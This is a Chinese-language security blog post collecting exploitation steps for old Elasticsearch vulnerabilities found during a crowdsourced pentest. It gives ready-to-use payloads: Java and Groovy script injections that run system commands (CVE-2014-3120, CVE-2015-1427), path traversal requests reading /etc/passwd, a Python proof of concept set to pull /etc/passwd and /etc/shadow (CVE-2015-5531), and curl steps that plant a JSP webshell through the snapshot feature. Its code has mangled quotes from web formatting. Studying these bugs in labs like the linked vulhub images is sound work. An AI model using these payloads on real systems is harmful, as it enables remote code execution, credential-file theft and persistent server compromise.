Elsaticsearch 漏洞小结

0.因

众测过程中遇到了Elsaticsearch未授权访问的情况,搞完发现又把时间浪费在了查各种资料上,故小记一番。

1.果

1.1 (CVE-2014-3120)elasticsearch v1.1.1 – 命令执行漏洞

利用:

1、创建数据:

1
2
3
4
5
6
7
posturl: http://ip:9200/foo/foo2

postdata:

{
"name": "data"
}

2、执行命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
posturl: http://ip:9200/_search?pretty 

postdata:
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}
其他资料:

(1)dockerfile地址
https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2014-3120

(2)https://www.t00ls.net/viewthread.php?tid=29408

(3)http://bouk.co/blog/elasticsearch-rce

1.2 (CVE-2015-1427)ElasticSearch Groovy v1.4.2以下 – 沙盒绕过 && 代码执行漏洞

利用:

Java沙盒绕过法:

java.lang.Math.class.forName(“java.lang.Runtime”).getRuntime().exec(“id”).getText()

Goovy直接执行命令法:

def command=’id’;def res=command.execute().text;res

1
2
3
posturl: http://ip:9200/_search?pretty 
postdata:
{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}
其他资料:

(1)dockerfile地址:https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2015-1427

(2)http://cb.drops.wiki/drops/papers-5107.html

(3)http://jordan-wright.com/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427

(4)https://github.com/XiphosResearch/exploits

(5)http://cb.drops.wiki/drops/papers-5142.html

1.3(CVE-2015-3337)ElasticSearch 1.4.5以下/1.5.2以下 – 目录穿越漏洞

利用:

读服务器上文件:burpsuite的repeater中访问url:

1
http://ip:9200/_plugin/head/../../../../../../../../../etc/passwd
其他:

(1)原理:在安装了具有“site”功能的插件以后,插件目录使用../即可向上跳转,导致目录穿越漏洞,可读取任意文件。没有安装任意插件的elasticsearch不受影响。

(2)dockerfile地址:https://github.com/vulhub/vulhub/pulse

1.4 (CVE-2015-5531)ElasticSearch 1.6.1以下 – 目录穿越漏洞

说明:

该漏洞在elasticsearch 1.5.1及以前,无需任何配置即可触发。之后的新版,配置文件elasticsearch.yml中必须存在path.repo,该配置值为一个目录,且该目录必须可写,等于限制了备份仓库的根位置。不配置该值,默认不启动这个功能

利用

1、创建一个仓库:

1
2
3
4
5
6
7
8
9
puturl: /_snapshot/test

putdata:
{
"type": "fs",
"settings": {
"location": "/usr/share/elasticsearch/repo/test"
}
}

2、创建一个快照:

1
2
3
4
5
6
7
8
9
puturl: /_snapshot/test2

putdata:
{
"type": "fs",
"settings": {
"location": "/usr/share/elasticsearch/repo/test/snapshot-backdata"
}
}

3、目录穿越访问服务器文件,在burpsuite 中repeater访问:

1
http://ip:9200/_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

4、从repeater中将错误信息解码,即可得到对应服务器文件(passwd)信息。

其他资料:

(1)原理:elasticsearch中备份的快照保存在备份仓库中的命名格式是以snapshot-xxx的格式,所以snapshot-backdata 会被误以为是test仓库的backdata快照,快照都是文件形式保存的,而snapshot-backdata是目录,elasticsearch 没有区分,如果elasticsearch发现其是目录之后,就继续读取目录下的内容,如果目录下的文件明称是恶意构造的(类似../../../) elasticsearch就会去读取这个递归读取文件的内容(这里elasticsearch没有过滤..),从而导致目录遍历(任意文件内容读取)

(2)dockerfile地址:https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2015-5531

(3)python poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#!/usr/bin/env python
# -*- coding:utf8 -*-
"""
PoC for CVE-2015-5531
Affects ElasticSearch 1.6.0 and prior
"""
import re
import sys
import json
import requests
import urllib
import argparse
import traceback
import termcolor
def colorize_red(string):
"""
:param string:
:return
"""
return termcolor.colored(string, 'red')
def colorize_green(string):
"""
:param string:
:return:
"""
return termcolor.colored(string, 'green')
def create_repos(base_url):
"""
:param base_url:
:return: None
"""
for index, repo_name in enumerate(REPO_NAME_LST):

url = "{0}{1}".format(base_url, repo_name)
req = requests.post(url, json=DATA_REPO_LST[index])

if “acknowledged” in req.json():
print colorize_green(“repository {0}: create success”.format(repo_name))
def grab_file(vuln_url):
“”"
:param xplurl:
:return:
“”"

req = requests.get(vuln_url)
if req.status_code == 400:
data = req.json()
extrdata = re.findall(r’\d+’, str(data['error']))
decoder = bytearray()
for i in extrdata[2:]:
decoder.append(int(i))
print colorize_green(decoder)
def exploit(**args):
“”"
:param args:
:return:
“”"
target = args['target']
port = args['port']
fpath = args['fpath'].split(‘,’)
fpath = [urllib.quote(fp, safe='') for fp in fpath]
base_url = “http://{0}:{1}/_snapshot/”.format(target, port)
#create elasticsearch repository for snapshot
create_repos(base_url)
#grab files
for fp in fpath:
vuln_url = ‘{0}{1}/{2}{3}’.format(base_url, REPO_NAME_LST[0], FCK, fp)
print colorize_red(urllib.unquote(fp)) + “:\n”
grab_file(vuln_url)
if __name__ == “__main__”:
# for global
FCK = ‘backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..’
REPO_NAME_LST = ['test11', 'test12']

DATA_REPO_LST = [{"type": "fs", "settings": {"location":
"/tmp/test30"}}, {"type": "fs", "settings": {"location":
"/tmp/test30/snapshot-backdata"}}]
parser = argparse.ArgumentParser(usage=”python cve-2015-5531.py options”,
description=”cve-2015-5531 Vuln PoC”, add_help=True)
parser.add_argument(‘-t’, ‘–target’, metavar=’TARGET’, type=str, dest=”target”, required=True, help=’eg: 127.0.0.1 or www.baidu.com’)

parser.add_argument(‘-p’, ‘–port’, metavar=’PORT’, dest=’port’,
type=int, default=9200, help=’elasticsearch port default 9200′)

parser.add_argument(‘–fpath’, metavar=’FPATH’, dest=’fpath’, type=str,
default=’/etc/passwd,/etc/shadow’, help=’file to grab multi files
separated by comma ‘)
args = parser.parse_args()
try:
exploit(**args.__dict__)
except:
traceback.print_exc()

1.5(WooYun-2015-110216)Elasticsearch(1.5.x以下)– 写入webshell漏洞

说明:

1、原理:
ElasticSearch具有备份数据的功能,用户可以传入一个路径,让其将数据备份到该路径下,且文件名和后缀都可控。
所以,如果同文件系统下还跑着其他服务,如Tomcat、PHP等,我们可以利用ElasticSearch的备份功能写入一个webshell。

2、利用方式:
在获取其他web服务的根目录后,直接使用ES写入对应木马文件至解析目录即可。
如tomcat服务web解析目录为:/usr/local/tomcat/webapps。
首先建立一个恶意索引文档:

1
2
3
curl -XPOST http://ip:9200/yz.jsp/yz.jsp/1 -d'
{"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"}
'

再创建一个恶意的存储库,其中location的值即为我要写入的路径。

1
2
3
4
5
6
7
curl -XPUT 'http://ip:9200/_snapshot/yz.jsp' -d '{
"type": "fs",
"settings": {
"location": "/usr/local/tomcat/webapps/wwwroot",
"compress": false
}
}'

存储库验证并创建:

1
2
3
4
5
curl -XPUT "http://ip:9200/_snapshot/yz.jsp/yz.jsp" -d '{
"indices": "yz.jsp",
"ignore_unavailable": "true",
"include_global_state": false
}'

最后访问写入的webshell即可:

http://ip:9200/wwwroot/indices/yz.jsp/snapshot-yz.jsp

上面的jsp文件作用为向wwwroot目录下的test.jsp文件写入任意字符如访问下面:

http://ip:8080/wwwroot/indices/yz.jsp/snapshot-yz.jsp?f=test
将test.jsp中写入test。只需访问http://ip:8080/wwwroot/test.jsp即可看到其页面显示test。

其他

(1) 原理地址:http://cb.drops.wiki/bugs/wooyun-2015-0110216.html

(2)dockerfile地址:https://github.com/vulhub/vulhub/tree/master/elasticsearch/WooYun-2015-110216

-------------本文结束感谢您的阅读-------------
  • Post author: SuNu11
  • Post link: http://sunu11.com/2018/07/14/20/
  • Copyright Notice: All articles in this blog are licensed under BY-NC-SA unless stating additionally.